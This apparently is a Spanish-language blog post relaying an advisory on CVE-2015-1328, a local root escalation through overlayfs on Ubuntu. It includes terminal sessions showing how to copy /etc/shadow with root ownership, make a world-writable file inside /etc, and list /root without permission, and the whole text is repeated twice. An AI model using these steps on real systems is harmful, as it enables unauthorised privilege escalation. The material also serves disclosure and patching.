La vulnerabilidad CVE-2015-1328 permite escalar privilegios como root localmente en la configuración por defecto en todas las versiones soportadas de Ubuntu.
El sistema de ficheros overlayfs no comprueba correctamente los permisos cuando se crean nuevos archivos en un directorio superior, concretamente las funciones de ovl_copy_up_*. Los únicos permisos que se comprueban son si el propietario del archivo que se está modificando tiene permiso para escribir en el directorio superior. Por otra parte, cuando un archivo se copia desde el directorio inferior los metadatos del archivo se copian literalmente, en lugar de los atributos como el owner que se cambia por el usuario que ha ejecutado los procedimientos de copy_up_*.
Veamos un ejemplo de una copia 1:1 de un fichero del root:
(ten en cuenta que la opción workdir= no es necesaria en los viejos kernels)
user () ubuntu-server-1504:~$ ./create-namespace
root () ubuntu-server-1504:~# mount -t overlay -o
lowerdir=/etc,upperdir=upper,workdir=work overlayfs o
root () ubuntu-server-1504:~# chmod 777 work/work/
root () ubuntu-server-1504:~# cd o
root () ubuntu-server-1504:~/o# mv shadow copy_of_shadow
(exit the namespace)
user () ubuntu-server-1504:~$ ls -al upper/copy_of_shadow
-rw-r----- 1 root shadow 1236 May 24 15:51 upper/copy_of_shadow
user () ubuntu-server-1504:~$ stat upper/copy_of_shadow /etc/shadow|grep Inode
Device: 801h/2049d Inode: 939791 Links: 1
Device: 801h/2049d Inode: 277668 Links: 1
Ahora podemos colocar este archivo en /etc cambiando "upper" por la opción lowerdir, los permisos son validados porque el fichero pertenece a root y root puede escribir en /etc.
user () ubuntu-server-1504:~$ ./create-namespace
root () ubuntu-server-1504:~# mount -t overlay -o
lowerdir=upper,upperdir=/etc,workdir=work overlayfs o
root () ubuntu-server-1504:~# chmod 777 work/work/
root () ubuntu-server-1504:~# cd o
root () ubuntu-server-1504:~/o# chmod 777 copy_of_shadow
root () ubuntu-server-1504:~/o# exit
user () ubuntu-server-1504:~$ ls -al /etc/copy_of_shadow
-rwxrwxrwx 1 root shadow 1236 May 24 15:51 /etc/copy_of_shadow
El exploit adjunto lanza un shell como root creando un fichero /etc/ld.so.preload escribible por todo el mundo.
También es posible listar el contenido del directorio en cualquier directorio del sistema independientemente de los permisos:
nobody () ubuntu-server-1504:~$ ls -al /root
ls: cannot open directory /root: Permission denied
nobody () ubuntu-server-1504:~$ mkdir o upper work
nobody () ubuntu-server-1504:~$ mount -t overlayfs -o
lowerdir=/root,upperdir=/home/user/upper,workdir=/home/user/work
overlayfs /home/user/o
nobody () ubuntu-server-1504:~$ ls -al o 2>/dev/null
total 8
drwxrwxr-x 1 root nogroup 4096 May 24 16:33 .
drwxr-xr-x 8 root nogroup 4096 May 24 16:33 ..
-????????? ? ? ? ? ? .bash_history
-????????? ? ? ? ? ? .bashrc
d????????? ? ? ? ? ? .cache
-????????? ? ? ? ? ? .lesshst
d????????? ? ? ? ? ? linux-3.19.0
Esto puede ser explotado por un proceso sin privilegios en kernels con "CONFIG_USER_NS = y" y donde overlayfs tiene el flag FS_USERNS_MOUNT, que permite montar overlayfs dentro de namespaces sin privilegios. Esta es la configuración por defecto de Ubuntu 12.04, 14.04, 14.10, y 15.04 y se ha probado en los kernels más recientes anteriores a 2015-06-15 de estas versiones.
Si no quieres actualizar tu kernel y no utilizas overlayfs, un workaround recomendable es eliminar simplemente overlayfs.ko / overlay.ko.
Fuente: CVE-2015-1328: incorrect permission checks in overlayfs, ubuntu local root
El sistema de ficheros overlayfs no comprueba correctamente los permisos cuando se crean nuevos archivos en un directorio superior, concretamente las funciones de ovl_copy_up_*. Los únicos permisos que se comprueban son si el propietario del archivo que se está modificando tiene permiso para escribir en el directorio superior. Por otra parte, cuando un archivo se copia desde el directorio inferior los metadatos del archivo se copian literalmente, en lugar de los atributos como el owner que se cambia por el usuario que ha ejecutado los procedimientos de copy_up_*.
Veamos un ejemplo de una copia 1:1 de un fichero del root:
(ten en cuenta que la opción workdir= no es necesaria en los viejos kernels)
user () ubuntu-server-1504:~$ ./create-namespace
root () ubuntu-server-1504:~# mount -t overlay -o
lowerdir=/etc,upperdir=upper,workdir=work overlayfs o
root () ubuntu-server-1504:~# chmod 777 work/work/
root () ubuntu-server-1504:~# cd o
root () ubuntu-server-1504:~/o# mv shadow copy_of_shadow
(exit the namespace)
user () ubuntu-server-1504:~$ ls -al upper/copy_of_shadow
-rw-r----- 1 root shadow 1236 May 24 15:51 upper/copy_of_shadow
user () ubuntu-server-1504:~$ stat upper/copy_of_shadow /etc/shadow|grep Inode
Device: 801h/2049d Inode: 939791 Links: 1
Device: 801h/2049d Inode: 277668 Links: 1
Ahora podemos colocar este archivo en /etc cambiando "upper" por la opción lowerdir, los permisos son validados porque el fichero pertenece a root y root puede escribir en /etc.
user () ubuntu-server-1504:~$ ./create-namespace
root () ubuntu-server-1504:~# mount -t overlay -o
lowerdir=upper,upperdir=/etc,workdir=work overlayfs o
root () ubuntu-server-1504:~# chmod 777 work/work/
root () ubuntu-server-1504:~# cd o
root () ubuntu-server-1504:~/o# chmod 777 copy_of_shadow
root () ubuntu-server-1504:~/o# exit
user () ubuntu-server-1504:~$ ls -al /etc/copy_of_shadow
-rwxrwxrwx 1 root shadow 1236 May 24 15:51 /etc/copy_of_shadow
El exploit adjunto lanza un shell como root creando un fichero /etc/ld.so.preload escribible por todo el mundo.
También es posible listar el contenido del directorio en cualquier directorio del sistema independientemente de los permisos:
nobody () ubuntu-server-1504:~$ ls -al /root
ls: cannot open directory /root: Permission denied
nobody () ubuntu-server-1504:~$ mkdir o upper work
nobody () ubuntu-server-1504:~$ mount -t overlayfs -o
lowerdir=/root,upperdir=/home/user/upper,workdir=/home/user/work
overlayfs /home/user/o
nobody () ubuntu-server-1504:~$ ls -al o 2>/dev/null
total 8
drwxrwxr-x 1 root nogroup 4096 May 24 16:33 .
drwxr-xr-x 8 root nogroup 4096 May 24 16:33 ..
-????????? ? ? ? ? ? .bash_history
-????????? ? ? ? ? ? .bashrc
d????????? ? ? ? ? ? .cache
-????????? ? ? ? ? ? .lesshst
d????????? ? ? ? ? ? linux-3.19.0
Esto puede ser explotado por un proceso sin privilegios en kernels con "CONFIG_USER_NS = y" y donde overlayfs tiene el flag FS_USERNS_MOUNT, que permite montar overlayfs dentro de namespaces sin privilegios. Esta es la configuración por defecto de Ubuntu 12.04, 14.04, 14.10, y 15.04 y se ha probado en los kernels más recientes anteriores a 2015-06-15 de estas versiones.
Si no quieres actualizar tu kernel y no utilizas overlayfs, un workaround recomendable es eliminar simplemente overlayfs.ko / overlay.ko.
Fuente: CVE-2015-1328: incorrect permission checks in overlayfs, ubuntu local root
Comentarios
Publicar un comentario